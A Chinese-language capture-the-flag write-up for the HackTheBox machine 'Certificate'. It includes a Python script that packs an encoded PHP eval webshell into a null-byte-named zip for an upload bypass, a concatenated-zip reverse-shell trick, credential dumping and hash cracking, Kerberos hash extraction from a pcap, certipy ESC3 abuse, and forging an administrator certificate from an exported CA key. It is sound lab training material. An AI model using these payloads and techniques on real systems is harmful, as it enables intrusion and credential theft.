nmap -T4 -v -A -Pn 10.10.11.71 -oN certificate.txt

USER

事到如今,先看看 80 吧

我这里网页加载太慢了,直接开扫目录

upload.php 看着比较可以,拼接直接跳转到 login.php

到register.php 注册一个吧,账户类型选择老师的话会需要验证

不行,还是学生吧,注册后登录,主页多了一个courses 选项

随便点击一个课程,课程列表里就会有 submit 提交,终于被我找到了

upload bypass

文件只允许上传 pdf、docx、pptx、xlsx,而且还需要压缩成 zip 上传

直接上传 php 明显不行

只有提到的格式可以上传,同时如果上传为 zip 格式的话,还会自动解压

尝试绕过一下(借鉴了一下其他大佬的)

第一个是利用\x00 截断文件名,然后压缩为 zip,解压时绕过检测。如 shell.php\x00.pdf,检测时识别到.pdf,放行解压,解压遇到 \x00截断,解压成 shell.php 被解析

这种需要用到 python 脚本来进行

import base64
import zipfile
 
php_backdoor_name = f'shell.php\x00.pdf'
php_backdoor_content = '''
R0lGODlhCjw/cGhwCiAgJGNvZGUgPSAkX1BPU1RbImNtZCJdOwogIGVjaG8oZXZhbCgkY21kKSk7Cj8+Cg==
'''
php_backdoor_content = base64.b64decode(php_backdoor_content).decode("utf-8")
malicious_zipfile_metadata = zipfile.ZipInfo(filename="", date_time=(2025, 6, 28, 11, 11, 0))
malicious_zipfile_metadata.filename = php_backdoor_name
 
with zipfile.ZipFile("shell.zip", "w") as zip_f:
    zip_f.writestr(malicious_zipfile_metadata, php_backdoor_content)

执行后生成 shell.zip,然后上传(我这里 kali 没有装蚁剑,就先跳过了。也可以直接换成反弹 shell 的 )

第二个方法,就是 zip 文件串联

https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users

将一个正常 zip 文件和一个带后门的 zip 文件拼接在一起

利用不同不同解压的特性,7zip 检测只能看到第一个正常的包,但是 windows 自带的资源管理器,就只能解压出来后面的后门 zip

// 1. 创建包含test.pdf的ZIP
zip head.zip test.pdf

// 2. 创建包含malicious/目录的ZIP(内含shell.php)
zip -r tail.zip payload

// 3. 将两个ZIP文件直接拼接成main.zip
cat head.zip tail.zip > main.zip

上传之后,路径返回的是 test.pdf,改为/payload/shell.php,就能收到反弹 shell 了

mysql

收集一下用户信息

在网站目录下发现了 db.php,查看发现了账户密码

certificate_webapp_user:cert!f!c@teDBPWD

因为这是反弹的 shell,所以交互 mysql 会有点问题,还有一款针对与 php 单文件就可以管理数据库的工具 https://www.adminer.org/en/

这里我们还是用命令非交互式查询,mysql.exe 在C:\xampp\mysql 中

//查看数据库
.\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e 'show databases;'
//查看表
.\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db;show tables;'
//查看users表
.\mysql.exe -u certificate_webapp_user -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db;select * from users;'

结合我们之前查看的用户,这里只有 sara.b 是需要的,只拿她的 password,$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6

hashcat 跑一下

sara.b:Blink182 测试一下,没有问题,bloodhound 扫一下先

还发现两台新的计算机,加入/etc/hosts。 但是bloodhound没有什么东西,还是连进去再说

evil-winrm -i 10.10.11.71 -u 'sara.b' -p 'Blink182'

kerberos pcap

在目录C:\Users\Sara.B\documents\ws-01下有一个WS-01_PktMon.pcap 数据包,有意思,查看一下

里面我们能看到有 kerberos 协议认证的数据包,可以通过下面这个项目来提取里面的 hash

https://github.com/jalvarezz13/Krb5RoastParser

python krb5_roast_parser.py ../WS-01_PktMon.pcap as_req >hash.txt

$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

这里出来的 hash 要自己给域名加一个 htb,不然的话爆破不出来的

Lion.SK:!QAZ2wsx

这里连进去就能看到 user.txt 了

ROOT

利用新的凭证扫一下有没有证书漏洞

certipy-ad find -vulnerable -u 'Lion.SK' -p '!QAZ2wsx' -dc-ip '10.10.11.71'

ESC3

ca name:Certificate-LTD-CA

Template Name:Delegated-CRA

但是这里直接对 administrator 利用 esc3 会失败,我们看看其他的用户,相对于 akeder.kh,ryan.k 有一个特别的属于DOMAIN STORAGE MANAGERS,可以试试对他使用 esc3

申请注册代理证书

certipy-ad req -u 'lion.sk@CERTIFICATE.HTB' -p '!QAZ2wsx' -dc-ip '10.10.11.71' -target 'DC01.CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'

以ryan.k 的名义请求证书

certipy-ad req -u 'lion.sk@CERTIFICATE.HTB' -p "\!QAZ2wsx" -dc-ip '10.10.11.71' -target 'DC01.CERTIFICATE.HTB' -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'CERTIFICATE\ryan.k'

这里使用SignedUser 模板的话是因为,可以certipy-ad find 去掉-vulnerable 查看结果,会标注可以作为 esc3 攻击的一部分

用拿到的证书进行认证拿到票据获取 hash

certipy-ad auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'

b1bc3d70e70f4f36b1509a65ae1a2ae6

SeManageVolume

登录到 ryan.k,whoami /all查看一下

SeManageVolumePrivilege 权限可以利用,这个权限主要来管理磁盘卷,但一般都是高权限的用户才有

可以找到这个项目,可以赋予对c盘的控制权

https://github.com/CsEnox/SeManageVolumeExploit

icacls C:/windows可以来查看一下,是否修改成功(现在是有了完全控制权)

接下来如果跟着项目自建恶意 dll,然后传入会被 defender 拦住。

这里因为有证书服务,所以在 C:\Windows\System32\Certlog\CertEnroll肯定有根证书,可以导出来,然后用根证书伪造administrator的证书

导证书用 certutil

certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Ryan.K\desktop\ca.pfx

然后用 certipy forge 伪造证书

certipy-ad forge -ca-pfx ca.pfx -upn 'administrator@CERTIFICATE.HTB' -out administrator.pfx

然后利用证书请求票据获取 ntlm hash

certipy-ad auth -dc-ip '10.10.11.71' -pfx 'administrator.pfx' -username 'administrator' -domain 'certificate.htb'

d804304519bf0143c14cbf1c024408c6

然后 evil-winrm 连入就能看到 root.txt 了


"The quieter you become, the more you are able to hear."